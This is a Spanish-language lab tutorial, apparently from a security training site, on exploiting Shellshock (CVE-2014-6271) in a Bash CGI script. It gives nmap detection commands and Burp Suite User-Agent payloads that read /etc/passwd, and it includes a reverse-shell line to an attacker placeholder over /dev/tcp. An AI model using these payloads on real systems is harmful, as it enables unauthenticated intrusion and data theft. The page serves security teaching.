GhostAcademy logo GhostAcademy

Shellshock (CVE-2014-6271)

REDES Y SISTEMAS CVE-2014-6271 RCE CGI BASH

💣 Shellshock (CVE-2014-6271)

Shellshock es una vulnerabilidad crítica en GNU Bash que permite ejecutar comandos arbitrarios al procesar variables de entorno maliciosas. Los servidores web que usan scripts CGI escritos en Bash son especialmente vulnerables, ya que las cabeceras HTTP se convierten en variables de entorno que Bash procesa.

CVE-2014-6271 (CVSS 10.0). A pesar de tener más de 10 años, siguen encontrándose servidores vulnerables en entornos legacy. La detección y explotación es trivial.
ElementoDescripción
Payload Shellshock() { :; };
VectorCabeceras HTTP (User-Agent, Referer, Cookie)
RequisitoServidor web que pase cabeceras a Bash via CGI
ImpactoRCE sin autenticación como el usuario del servidor web

🔍 Fase 1 — Descubrimiento

Escaneo y detección de CGI vulnerable
nmap <IP>
# Puerto 80 abierto

# Detectar Shellshock con NSE:
nmap --script http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" <IP>
# Resultado: VULNERABLE

💥 Fase 2 — Explotación via Burp Suite

Configurar Burp Suite como proxy en el navegador (via FoxyProxy) para interceptar peticiones al CGI.

Payload Shellshock en User-Agent
# En el Repeater de Burp Suite, modificar la cabecera:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

# Otros comandos de prueba:
User-Agent: () { :; }; echo; /bin/bash -c 'id'
User-Agent: () { :; }; echo; /bin/bash -c 'ps -ef'
Obtener reverse shell (si aplica)
# En el atacante, poner en escucha:
nc -lvnp 4444

# Payload de reverse shell:
User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<IP_atacante>/4444 0>&1

📋 Flujo del ataque

1
EscaneoDetectar puerto 80 y script CGI (/gettime.cgi).
2
DetecciónConfirmar Shellshock con nmap NSE.
3
IntercepciónBurp Suite captura petición al CGI.
4
InyecciónPayload Shellshock en User-Agent ejecuta comandos.
5
Post-explotaciónEnumerar sistema y escalar si es posible.

🧠 Conceptos clave